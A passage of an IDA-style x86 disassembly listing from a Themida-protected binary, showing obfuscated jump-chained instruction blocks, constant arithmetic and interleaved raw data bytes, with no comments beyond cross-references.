		dd 9F9089EBh, 57EE81DBh, 17C2768h, 0AABA52DEh, 8107AA54h
		dd 0F3301FC2h, 6EAC141h, 1A9CEA81h, 0EA8149C5h,	3BB00155h
		dd 0F1CBEA81h, 0BDE9FF89h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58CC2F:				; CODE XREF: Themida_:0058A591j
		push	ecx
		mov	ch, ah
		mov	bh, ch
		pop	ecx
		jmp	loc_596C4E
; ---------------------------------------------------------------------------
		dw 810Fh
		dd 0FFFFF387h, 7BBB5351h, 0B07DA009h
		db 4Dh,	89h, 0FFh
; ---------------------------------------------------------------------------


loc_58CC4B:				; CODE XREF: Themida_:0058B200j
		and	edi, 2CC43FC1h
		inc	edi
		add	edi, 306B5E36h
		add	edx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_592B77
; ---------------------------------------------------------------------------


loc_58CC69:				; CODE XREF: Themida_:005902C9j
		pop	ebp
		and	ecx, edi
		mov	edi, [esp]
		jmp	loc_58DBC4
; ---------------------------------------------------------------------------


loc_58CC74:				; CODE XREF: Themida_:0058F2CDj
		xchg	edi, [esp]
		pop	esp
		shr	ecx, 0Bh
		push	6C04h
		mov	[esp], edi
		push	ebx
		sub	dword ptr [esp], 451B6CF4h
		jmp	loc_59124E
; ---------------------------------------------------------------------------


loc_58CC90:				; CODE XREF: Themida_:0058B637j
		mov	bh, 0
		add	al, bh
		jmp	loc_58C58D
; ---------------------------------------------------------------------------
		db 41h,	81h, 0E9h
		dd 20490312h, 78EEE9h
		db 0
; ---------------------------------------------------------------------------


loc_58CCA5:				; CODE XREF: Themida_:00596657j
		push	4223h
		mov	[esp], edi
		push	160Eh
		jmp	loc_596DEA
; ---------------------------------------------------------------------------


loc_58CCB7:				; CODE XREF: Themida_:0058EBEFj
		dec	ebx
		jle	loc_595637
		dec	ebx
		jnp	loc_59490B
		shr	ebx, 7
		jns	loc_592882
		sub	ebx, 0FFFDBA48h
		push	ebx
		pop	edi
		pop	ebx
		jmp	loc_5919CC
; ---------------------------------------------------------------------------
		dd 4C68159h, 81000000h,	4C6h, 43E95600h
		db 49h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58CCEF:				; CODE XREF: Themida_:0058FF4Bj
		pop	eax
		add	ebx, edi
		pop	edi
		xor	ebx, [esp]
		jmp	loc_5971A0
; ---------------------------------------------------------------------------


loc_58CCFB:				; CODE XREF: Themida_:005920F6j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_592689
; ---------------------------------------------------------------------------


loc_58CD07:				; CODE XREF: Themida_:00591912j
		sub	esi, eax
		pop	eax
		sub	ebx, esi
		pop	esi
		add	eax, [ebx]
		pop	ebx
		jmp	loc_595ED8
; ---------------------------------------------------------------------------


loc_58CD15:				; CODE XREF: Themida_:00590D3Aj
		add	ebx, 4
		jmp	loc_590DB4
; ---------------------------------------------------------------------------


loc_58CD20:				; CODE XREF: Themida_:0058C179j
		mov	esp, [esp]
		mov	ax, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_58B4D6
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 2414D259h, 0D590E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58CD3E:				; CODE XREF: Themida_:0058E93Ej
		shr	esi, 4
		shr	esi, 6
		push	ecx
		mov	ecx, 67740DDh
		xor	ecx, 52DC3C7Bh
		shr	ecx, 1
		shl	ecx, 7
		shl	ecx, 6
		sub	ecx, 8D7A125Ah
		jmp	loc_595862
; ---------------------------------------------------------------------------


loc_58CD63:				; CODE XREF: Themida_:0058B3C5j
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		add	esi, 2
		xchg	esi, [esp]
		pop	esp
		push	ebx
		push	eax
		mov	ah, dl
		jmp	loc_593802
; ---------------------------------------------------------------------------
		db 0Fh
		dd 785F87h, 6EFC100h, 0F89EF81h, 815271E8h, 24216BEBh
		dd 5BDA01C6h, 5357D2F7h, 551AC0BBh, 5BDF8902h, 5007EFC1h
		dd 4F4D78B8h, 0F7D8F766h, 89E940D8h
		db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_58CDB3:				; CODE XREF: Themida_:0058A8F5j
		or	esi, 73995CAFh
		sub	esi, 62F52DA8h
		mov	eax, esi
		pop	esi
		and	eax, 770F001Ah
		sub	eax, 1506000Eh
		add	ebp, eax
		pop	eax
		push	eax
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		push	ebp
		jmp	loc_58DDCC
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 11589D1Ch, 0E99C2404h, 0FFFFD4E2h
; ---------------------------------------------------------------------------


loc_58CDEC:				; CODE XREF: Themida_:00596AE5j
		or	ebx, esi
		pop	esi
		push	ecx
		jmp	loc_591F45
; ---------------------------------------------------------------------------


loc_58CDF5:				; CODE XREF: Themida_:0058C6A1j
		add	eax, esi
		add	eax, 7F37C2Eh
		pop	esi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_58CAD0
; ---------------------------------------------------------------------------


loc_58CE0B:				; CODE XREF: Themida_:0058BD8Fj
		mov	cl, 0D2h
		and	cl, 0DCh
		jmp	loc_5958F0
; ---------------------------------------------------------------------------
a13S?		db '1<$3<$ι',0Bh,'?',0
		align 10h
		dd 582434FFh, 815F5457h, 4C7h, 5BE95600h, 8100000Dh, 4C2h
		dd 56046800h, 3C890000h, 0AEE95524h, 81000044h,	4C4h, 89525500h
		dd 4C281E2h, 83000000h,	148704EAh, 4895C24h, 80BCE924h
		dd 0E9AD0000h, 8BC0h
; ---------------------------------------------------------------------------


loc_58CE6C:				; CODE XREF: Themida_:00590D64j
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_58BACA
; ---------------------------------------------------------------------------


loc_58CE7F:				; CODE XREF: Themida_:0058F214j
		add	esp, 4
		jmp	loc_594C16
; ---------------------------------------------------------------------------


loc_58CE8A:				; CODE XREF: Themida_:0058BFF3j
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	esi
		mov	esi, 120C6F33h
		or	esi, 3A3140B0h
		jmp	loc_58B5BA
; ---------------------------------------------------------------------------


loc_58CEB1:				; CODE XREF: Themida_:0058DF23j
		mov	esp, [esp]
		jmp	loc_58FFD3
; ---------------------------------------------------------------------------


loc_58CEB9:				; CODE XREF: Themida_:00592F96j
		mov	[esp], esp
		push	ebx
		jmp	loc_58A6FB
; ---------------------------------------------------------------------------


loc_58CEC2:				; CODE XREF: Themida_:00592036j
					; Themida_:005963CBj
		mov	eax, 6A6A1FC9h
		add	edi, eax
		pop	eax
		jmp	loc_596B92
; ---------------------------------------------------------------------------
aX_rsR		db 'X_Rι!r',0
		db 0
; ---------------------------------------------------------------------------


loc_58CED7:				; CODE XREF: Themida_:00592684j
		jmp	loc_594B2B
; ---------------------------------------------------------------------------


loc_58CEDC:				; CODE XREF: Themida_:00595085j
		mov	cl, 71h
		xor	dh, cl
		mov	cx, [esp]
		add	esp, 2
		sub	al, 0D5h
		push	bx
		mov	bh, 0CAh
		add	al, bh
		pop	bx
		add	al, dh
		sub	al, 0CAh
		jmp	loc_58F85F
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 81000000h, 4EFh, 243C8700h, 243C895Ch, 0A864E9h
		db 0
; ---------------------------------------------------------------------------


loc_58CF15:				; CODE XREF: Themida_:00596BEFj
		mov	eax, 0F4EB65A1h
		xor	edx, eax
		pop	eax
		sub	ebp, edx
		pop	edx
		xor	ebp, 147A1EB1h
		not	ebp
		jmp	loc_591823
; ---------------------------------------------------------------------------
		db 29h,	0EEh, 5Dh
		dd 0E9243433h, 48F6h, 2C8BE801h, 4C48124h, 0E9000000h
		dd 0FFFFD628h, 405E089h, 83000000h, 0D2E904ECh,	53000056h
		dd 7C08E9h, 0C2F38000h,	5C7DE9h
		db 0
; ---------------------------------------------------------------------------


loc_58CF65:				; CODE XREF: Themida_:00597E7Aj
		sub	edx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_58EBF4
; ---------------------------------------------------------------------------
		db 0FEh
		dd 0F6C4FECCh, 0D1B252D4h, 8007E2C0h, 0F280B9CAh, 66EA80EBh
		dd 307BC280h, 0C4805AD4h, 58E53004h, 0C8BE830h,	0E3895324h
		dd 4C381h, 28E90000h, 0AD0000A1h, 7C52BA52h, 0EA8108E6h
		dd 52970E08h, 393468h, 240C8900h, 0FFECEBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58CFC1:				; CODE XREF: Themida_:00597C8Dj
		pop	ebx
		and	eax, ecx
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_590B34
; ---------------------------------------------------------------------------
		db 0BBh, 0A0h, 13h
		dd 0D801235Fh, 2434FF5Bh, 592434FFh, 50CAE9h
		db 0
; ---------------------------------------------------------------------------


loc_58CFF1:				; CODE XREF: Themida_:005979B2j
		mov	esp, [esp]
		jmp	loc_58AFE2
; ---------------------------------------------------------------------------


loc_58CFF9:				; CODE XREF: Themida_:0059147Cj
		add	esi, 4
		push	ecx
		mov	ecx, 614D1066h
		sub	ecx, 614D1062h
		sub	esi, 6823399h
		add	esi, ecx
		add	esi, 6823399h
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	eax
		push	ebx
		mov	ebx, 1
		mov	eax, ebx
		pop	ebx
		push	3E0Dh
		mov	[esp], edx
		mov	edx, 24h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 382A50DFh
		sub	edx, ebp
		mov	ebp, [esp]
		jmp	loc_58F39F
; ---------------------------------------------------------------------------


loc_58D051:				; CODE XREF: Themida_:0058BC1Ej
		xor	eax, 79FA75FFh
		jmp	loc_594734
; ---------------------------------------------------------------------------


loc_58D05B:				; CODE XREF: Themida_:0058DB70j
					; Themida_:00591FDFj
		mov	[esp], esi
		pop	eax
		pop	esi
		push	ebp
		push	ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_58F4D9
; ---------------------------------------------------------------------------
		db 58h,	59h, 1
		dd 0D7D9E9E9h, 8B66FFFFh, 0EC832404h, 241C8904h, 9CC9E9h
		db 0
; ---------------------------------------------------------------------------


loc_58D085:				; CODE XREF: Themida_:00594C2Bj
		mov	eax, 4
		sub	esi, 7F1C3ED0h
		add	esi, eax
		add	esi, 7F1C3ED0h
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_592E13
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4C58104h, 0E9000000h, 7486h
; ---------------------------------------------------------------------------


loc_58D0BC:				; CODE XREF: Themida_:0058B00Fj
		add	esp, 4
		sub	ecx, 5A597F45h
		add	ecx, edi
		add	ecx, 5A597F45h
		push	eax
		pop	dword ptr [ecx]
		mov	ecx, [esp]
		jmp	loc_58D8FC
; ---------------------------------------------------------------------------


loc_58D0D8:				; CODE XREF: Themida_:0058C35Bj
		mov	[esp], ecx
		jmp	loc_5964A4
; ---------------------------------------------------------------------------


loc_58D0E0:				; CODE XREF: Themida_:0058DBBFj
		add	ecx, 4
		jmp	loc_5951B9
; ---------------------------------------------------------------------------


loc_58D0EB:				; CODE XREF: Themida_:0058B1B3j
		push	ebx
		jmp	loc_58DC19
; ---------------------------------------------------------------------------
		db 1, 0F5h, 5Eh
		dd 8704ED83h, 895C242Ch, 4B82404h, 1000000h, 24048BC1h
		dd 4C481h, 0E9830000h, 0DB7EE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D116:				; CODE XREF: Themida_:0058A458j
		mov	eax, esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_58BEDD
; ---------------------------------------------------------------------------


loc_58D126:				; CODE XREF: Themida_:005951C2j
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_594ED0
; ---------------------------------------------------------------------------
		dw 0D8F7h
		dd 2D862205h, 58C72913h, 5FFA3158h, 5A1C5709h, 0FFD185E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58D149:				; CODE XREF: Themida_:00591164j
					; Themida_:00593AC8j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_594B4F
; ---------------------------------------------------------------------------


loc_58D164:				; CODE XREF: Themida_:0058A738j
		neg	cl
		ja	loc_58EB56
		push	eax
		mov	al, 0B8h
		or	al, 0DCh
		and	al, 0B8h
		xor	al, 95h
		shl	al, 3
		dec	al
		add	al, 54h
		or	cl, al
		pop	eax
		and	cl, 4Dh
		jb	loc_58FB59
		add	cl, 0F9h
		mov	bh, cl
		push	dword ptr [esp]
		jmp	loc_596CAB
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aRitsc		db '$R‰βι–`',0
		db 0
; ---------------------------------------------------------------------------


loc_58D1A1:				; CODE XREF: Themida_:0058F812j
		mov	esi, 4100C26Fh
		push	ebx
		mov	ebx, 560E4288h
		sub	ecx, ebx
		jmp	loc_591389
; ---------------------------------------------------------------------------


loc_58D1B3:				; CODE XREF: Themida_:0058F4ADj
		mov	esi, ecx
		jmp	loc_5977BA
; ---------------------------------------------------------------------------


loc_58D1BA:				; CODE XREF: Themida_:00591080j
		pop	eax
		inc	eax
		add	eax, 1625718Ah
		add	ebx, eax
		pop	eax
		jmp	loc_58FC72
; ---------------------------------------------------------------------------


loc_58D1C9:				; CODE XREF: Themida_:0058BF89j
		sub	ebx, 2A7C5613h
		sub	ebx, 3558747Fh
		add	ebx, edx
		add	ebx, 3558747Fh
		add	ebx, 2A7C5613h
		pop	edx
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	eax, eax
		jz	loc_592857
		push	edx
		push	esi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_590B70
; ---------------------------------------------------------------------------
		dd 24348150h, 3D0C1D82h, 24A0E95Bh, 2C330000h, 242C3124h
		dd 5C242C33h, 8957C80Fh, 4C781E7h, 81000000h, 4EFh, 7D41E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58D236:				; CODE XREF: Themida_:0058A6F6j
		sub	esp, 4
		jmp	loc_591917
; ---------------------------------------------------------------------------
		db 64h,	66h, 0Fh
		dd 545102B6h, 6F18E9h
		db 0
; ---------------------------------------------------------------------------


loc_58D24D:				; CODE XREF: Themida_:0058FB61j
		push	edx
		mov	edx, 0FFFFFFFFh
		jmp	loc_591EB5
; ---------------------------------------------------------------------------
		dd 5406CE81h, 81467D0Bh, 647B2EF6h, 5EF70138h, 5DE0EF81h
		dd 335A77F3h, 3C31243Ch, 243C3324h, 1CA7E9h
		db 0
; ---------------------------------------------------------------------------


loc_58D27D:				; CODE XREF: Themida_:0059443Bj
		sub	esi, ebp
		sub	esi, 220B2D76h
		add	esi, 2CFD2B33h
		pop	ebp
		and	eax, esi
		jmp	loc_58F954
; ---------------------------------------------------------------------------


loc_58D293:				; CODE XREF: Themida_:00590E2Ej
		xor	ebp, 67F44F0Eh
		and	ebp, 75B586Ah
		push	ecx
		mov	ecx, 477A40ACh
		xor	ebp, ecx
		pop	ecx
		shr	ebp, 2
		xor	ebp, 10CAC035h
		jmp	loc_592EE5
; ---------------------------------------------------------------------------


loc_58D2B6:				; CODE XREF: Themida_:00590A97j
		not	edx
		or	edx, 60077B84h
		shr	edx, 8
		xor	edx, 3A1960B4h
		sub	edx, 0F0CF951Ah
		sub	ebx, 1F325105h
		sub	ebx, edx
		jmp	loc_590373
; ---------------------------------------------------------------------------


loc_58D2DA:				; CODE XREF: Themida_:00594B32j
		mov	ecx, 35AE46A2h
		sub	ecx, edi
		jmp	loc_595921
; ---------------------------------------------------------------------------


loc_58D2E6:				; CODE XREF: Themida_:0059308Cj
		xor	ebp, eax
		jmp	loc_58B239
; ---------------------------------------------------------------------------


loc_58D2ED:				; CODE XREF: Themida_:00591732j
		add	eax, edx
		add	eax, 2A0D12AAh
		jmp	loc_5922B2
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 13h
		dd 8115C31Bh, 7A4D6AF5h, 86DAE94Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58D30A:				; CODE XREF: Themida_:00594FEEj
		sub	ecx, esi
		pop	esi
		mov	esi, ecx
		jmp	loc_58BA94
; ---------------------------------------------------------------------------


loc_58D314:				; CODE XREF: Themida_:0058A772j
		add	bl, 0E3h
		sub	bl, 3Dh
		jmp	loc_59357F
; ---------------------------------------------------------------------------


loc_58D31F:				; CODE XREF: Themida_:0058E8ECj
		push	eax
		mov	eax, edx
		push	edi
		mov	edi, eax
		mov	esi, edi
		pop	edi
		pop	eax
		mov	edx, [esp]
		add	esp, 4
		sub	eax, 225012F1h
		sub	eax, esi
		add	eax, 225012F1h
		pop	esi
		push	ebx
		mov	ebx, 5B98976Dh
		jmp	loc_592D57
; ---------------------------------------------------------------------------


loc_58D34A:				; CODE XREF: Themida_:0058C136j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58A530
; ---------------------------------------------------------------------------


loc_58D35B:				; CODE XREF: Themida_:00594E5Ej
		mov	ebp, 0CD51514h
		xor	ebp, 69537D08h
		dec	ebp
		jmp	loc_58D8D5
; ---------------------------------------------------------------------------


loc_58D36C:				; CODE XREF: Themida_:0058B5F2j
					; Themida_:0059067Dj
		mov	ecx, esi
		pop	esi
		shl	ecx, 7
		xor	ecx, 625714FAh
		jg	loc_58E794
		xor	ecx, 9FD30FFAh
		push	edx
		push	ecx
		pop	edx
		mov	eax, edx
		jmp	loc_5946E3
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 4E32513Dh, 8904EC83h, 88BF243Ch, 29249D78h, 56C8E9FEh
		dd 8B660000h, 54562404h, 4EC835Eh, 0A6DEE9h
		db 0
; ---------------------------------------------------------------------------


loc_58D3B5:				; CODE XREF: Themida_:0058C52Ej
		mov	edi, esp
		jmp	loc_58E57F
; ---------------------------------------------------------------------------


loc_58D3BC:				; CODE XREF: Themida_:00590DAFj
		mov	ebp, 78A8264Bh
		jmp	loc_5975C4
; ---------------------------------------------------------------------------


loc_58D3C6:				; CODE XREF: Themida_:00591F60j
		sub	edx, eax
		sub	edx, 672B404Bh
		push	eax
		jmp	loc_58F820
; ---------------------------------------------------------------------------
		dd 24048B66h, 50E28952h, 7870BE56h, 0F463F1Ch, 95CA81h
		dd 14F75600h, 0E637E924h, 3C8BFFFFh, 5FDF8A24h,	0E9241489h
		dd 8822h, 42474FFh, 24048F59h, 2414895Ch, 0BBE99C50h
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D413:				; CODE XREF: Themida_:loc_593AB7j
		add	esi, 0FD346D2Ah
		mov	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		shl	ebx, 6
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		shr	ebx, 4
		jmp	loc_596ADF
; ---------------------------------------------------------------------------


loc_58D434:				; CODE XREF: Themida_:0058B587j
		add	esi, 4
		jmp	loc_59460E
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0B60F66E1h, 0BC6866CCh, 0C896649h, 2B75E924h, 80B90000h
		dd 11D293Ah, 680559C8h,	29573554h, 54682DF0h, 802D5735h
		dd 8B1D293Ah, 0C4832434h, 57D82904h, 0E67D2D68h, 243C8B0Fh
		dd 0E904C483h, 0A2E5h
; ---------------------------------------------------------------------------


loc_58D484:				; CODE XREF: Themida_:00593274j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_59576A
; ---------------------------------------------------------------------------


loc_58D497:				; CODE XREF: Themida_:0059213Bj
		pop	ecx
		or	eax, eax
		jz	loc_58B321
		push	dword ptr [edi+28h]
		push	ebp
		mov	ebp, 4FC95A1Eh
		push	esi
		mov	esi, 10A703A4h
		add	[esp+8], esi
		jmp	loc_59350A
; ---------------------------------------------------------------------------


loc_58D4B8:				; CODE XREF: Themida_:00592E0Ej
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58DC97
; ---------------------------------------------------------------------------
aQReb4bIv7Su	db 'QΉRE‘4Ι‰V7{ι“;',0
		align 4


loc_58D4D4:				; CODE XREF: Themida_:0058A4B1j
		add	ecx, edx
		add	ecx, 4D811A70h
		mov	dword ptr [ecx], 0D6F6CAAh
		sub	esp, 4
		jmp	loc_594E8C
; ---------------------------------------------------------------------------


loc_58D4ED:				; CODE XREF: Themida_:0058C611j
		push	74C2h
		mov	[esp], eax
		push	3BC5320Ch
		pop	eax
		push	ebp
		mov	ebp, 77D1A17h
		not	ebp
		inc	ebp
		shl	ebp, 5
		add	ebp, 1
		xor	ebp, 17031D2Ah
		and	ebp, 565E5BEFh
		xor	ebp, 236C402Bh
		xor	eax, ebp
		jmp	loc_592661
; ---------------------------------------------------------------------------


loc_58D526:				; CODE XREF: Themida_:0058F96Bj
		pop	ebx
		inc	ebx
		push	ebp
		jmp	loc_592607
; ---------------------------------------------------------------------------


loc_58D52E:				; CODE XREF: Themida_:005921E2j
		mov	bl, 41h
		mov	al, 24h
		add	al, 9Bh
		add	al, bl
		sub	al, 9Bh
		pop	ebx
		sub	al, 38h
		jz	loc_593152
		jmp	loc_58D770
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8B68240Ch, 8900007Ah, 0F1E92404h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58D557:				; CODE XREF: Themida_:00593D3Fj
		mov	dh, 50h
		push	ebx
		push	edx
		push	cx
		push	ebx
		mov	bl, 30h
		add	bl, 0EDh
		jl	loc_58A9F3
		add	bl, 76h
		shr	bl, 5
		jns	loc_58DD51
		shl	bl, 1
		jns	loc_58FD5F
		jmp	loc_591516
; ---------------------------------------------------------------------------
		dw 93BAh
		dd 0C1713647h, 0EC8102EAh, 4, 0BE243489h, 1C4D91E0h, 15EF231h
		dd 0C6835AD6h, 24348704h, 2124248Bh, 0E99C2404h, 0FFFFCD1Eh
; ---------------------------------------------------------------------------


loc_58D5B0:				; CODE XREF: Themida_:00590831j
		pop	ebx
		push	ecx
		mov	ecx, 66FE2553h
		sub	edi, ecx
		jmp	loc_597FA4
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 1000000h, 24148BD6h,	7DEE9h,	0BA525100h, 5379141Fh
		dd 0DB37E952h, 0E189FFFFh, 0FFEB07E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58D5E1:				; CODE XREF: Themida_:0058F5CEj
		mov	ebp, 2C425684h
		add	ebx, ebp
		pop	ebp
		jmp	loc_5947F8
; ---------------------------------------------------------------------------


loc_58D5EE:				; CODE XREF: Themida_:0058E482j
		sub	bh, 6Bh
		add	bh, ch
		jmp	loc_596425
; ---------------------------------------------------------------------------


loc_58D5F8:				; CODE XREF: Themida_:0059348Aj
		mov	[esp], ecx
		mov	ecx, 46870560h
		xor	ecx, 16606035h
		neg	ecx
		shl	ecx, 1
		shl	ecx, 7
		jmp	loc_591FF5
; ---------------------------------------------------------------------------


loc_58D612:				; CODE XREF: Themida_:00597CCEj
		shl	esi, 2
		jnp	loc_58FB23
		sub	esi, 32A79037h
		mov	eax, esi
		pop	esi
		dec	eax
		jl	loc_58DBDF
		jmp	loc_594A3E
; ---------------------------------------------------------------------------


loc_58D630:				; CODE XREF: Themida_:0059586Ej
		add	eax, edi
		jmp	loc_595529
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 0C9EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58D642:				; CODE XREF: Themida_:00591210j
		add	ah, 3Bh
		or	cl, ah
		mov	eax, [esp]
		add	esp, 4
		add	cl, 37h
		sub	bl, cl
		jmp	loc_593765
; ---------------------------------------------------------------------------
		dw 555Dh
		dd 0FFEF35E9h, 3E0C1FFh, 0C2685657h, 0E91AA654h, 3B86h
		dd 2BF6C281h, 0D5315659h, 34EB815Ah, 2904B522h,	8A07E9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58D686:				; CODE XREF: Themida_:005903B5j
		mov	esi, 24102F2Fh
		neg	esi
		xor	esi, 40C25178h
		or	esi, 2D1215A0h
		jno	loc_5909F0
		shl	esi, 5
		jmp	loc_58E495
; ---------------------------------------------------------------------------
		db 4Dh
		dd 0FF8FE380h, 34FF2434h, 0EC835824h, 240C8904h, 7E3168h
		dd 24248900h, 4ACFE9h
		db 0
; ---------------------------------------------------------------------------


loc_58D6C5:				; CODE XREF: Themida_:loc_597CF6j
		xor	ebp, 347A4849h
		jno	loc_593C0E
		sub	ebp, 4291057Dh
		mov	bh, bh
		or	al, 0AAh
		add	[esp+4], ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_58E980
; ---------------------------------------------------------------------------


loc_58D6E8:				; CODE XREF: Themida_:0059616Ej
		add	esp, 4
		pop	ecx


loc_58D6EF:				; CODE XREF: Themida_:0058A33Aj
		push	6413h
		mov	[esp], ecx
		push	eax
		mov	eax, 14105794h
		inc	eax
		shr	eax, 1
		not	eax
		push	ebp
		jmp	loc_5973F1
; ---------------------------------------------------------------------------
		dd 240C8B66h, 4EC8356h,	81242489h, 42404h, 815E0000h, 4C6h
		dd 7E536800h, 1C890000h, 15F7BB24h, 0EBC139ACh,	2E3C103h
		dd 4786E9h
		db 0
; ---------------------------------------------------------------------------


loc_58D739:				; CODE XREF: Themida_:0058B3D9j
		xor	eax, 21421DB3h
		add	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		push	edx
		mov	edx, 2
		add	eax, 2A2A0168h
		sub	eax, edx
		sub	eax, 2A2A0168h
		mov	edx, [esp]
		jmp	loc_58F293
; ---------------------------------------------------------------------------


loc_58D770:				; CODE XREF: Themida_:0058CBC0j
					; Themida_:0058D541j
		not	al
		jmp	loc_58B4BB
; ---------------------------------------------------------------------------


loc_58D777:				; CODE XREF: Themida_:00596732j
		add	ebp, esi
		push	eax
		mov	eax, 4C593841h
		neg	eax
		dec	eax
		inc	eax
		jmp	loc_59674C
; ---------------------------------------------------------------------------
		dd 8702C083h, 248B2404h, 0C8B6624h, 32516824h, 1C890000h
		dd 50E38924h, 747F12B8h, 1816051Ah, 200D56A5h, 55756032h
		dd 33313BBDh, 0F0BA5226h, 81074B55h, 0FD49C1EAh, 0E9D521E1h
		dd 9BFEh, 48E6EF81h, 0DFF7320Ch, 0DFF7DFF7h, 238DC781h
		dd 0FA89D31Dh, 14D5E9h,	24448100h, 0EE53C804h, 9AE95B6Dh
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58D7EF:				; CODE XREF: Themida_:0058C04Bj
		add	dl, 93h
		and	al, dl
		pop	edx
		sub	al, 0Fh
		add	bl, 0C9h
		add	bl, al
		sub	bl, 0C9h
		jmp	loc_5914E9
; ---------------------------------------------------------------------------
		dd 4C181h, 8A680000h, 8900007Eh, 0E956242Ch, 54F0h, 241CF766h
		dd 0C73E99Ch, 0C1830000h, 240C8702h, 6624248Bh,	9C240CD3h
		dd 1790E9h, 5C315F00h, 8B5B0424h, 0C4812404h, 4, 4EC81h
		dd 2C890000h, 695FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_58D852:				; CODE XREF: Themida_:0059208Cj
					; Themida_:00595F8Dj
		mov	edi, 4C76708Ah
		jmp	loc_5942E3
; ---------------------------------------------------------------------------


loc_58D85C:				; CODE XREF: Themida_:0058DC44j
		shl	ah, 2
		or	ah, 0FEh
		inc	ah
		jmp	loc_58A58E
; ---------------------------------------------------------------------------


loc_58D869:				; CODE XREF: Themida_:0059592Fj
		add	ecx, 0F38ABCCFh
		add	ebp, 24C13372h
		jmp	loc_593157
; ---------------------------------------------------------------------------
		dw 0C87h
aSP		db '$\ιԏ',0
		db 0
; ---------------------------------------------------------------------------


loc_58D883:				; CODE XREF: Themida_:00597DB7j
		or	edi, 6FA162E0h
		sub	edi, 0D04526Dh
		jmp	loc_59405C
; ---------------------------------------------------------------------------


loc_58D894:				; CODE XREF: Themida_:005903C2j
		mov	ebx, 60550EF9h
		jmp	loc_58B549
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 8519E9h, 58C23100h, 875AD301h, 835C241Ch, 29E904C4h
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58D8B7:				; CODE XREF: Themida_:0058AC28j
		sub	bl, 0D5h
		push	cx
		mov	cl, 6Ch
		jmp	loc_58F6B1
; ---------------------------------------------------------------------------
		db 89h
		dd 875758C7h, 0D3F7241Ch, 5F241C87h, 69C6E9h
		db 0
; ---------------------------------------------------------------------------


loc_58D8D5:				; CODE XREF: Themida_:0058D367j
		sub	ebp, 2B8E2343h
		not	ebp
		push	eax
		push	edi
		mov	edi, 5196398Ch
		jmp	loc_593663
; ---------------------------------------------------------------------------


loc_58D8E9:				; CODE XREF: Themida_:00594D66j
		pop	esp
		test	cl, al
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		dw 0DA68h
		dd 0E900003Dh, 6E98h
; ---------------------------------------------------------------------------


loc_58D8FC:				; CODE XREF: Themida_:0058D0D3j
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	edx
		mov	edx, 8A95E47h
		jmp	loc_58E4EB
; ---------------------------------------------------------------------------


loc_58D919:				; CODE XREF: Themida_:0058AA01j
					; Themida_:0058AFDDj
		sub	bl, 7Eh
		add	bl, 75h
		sub	bl, 0F9h
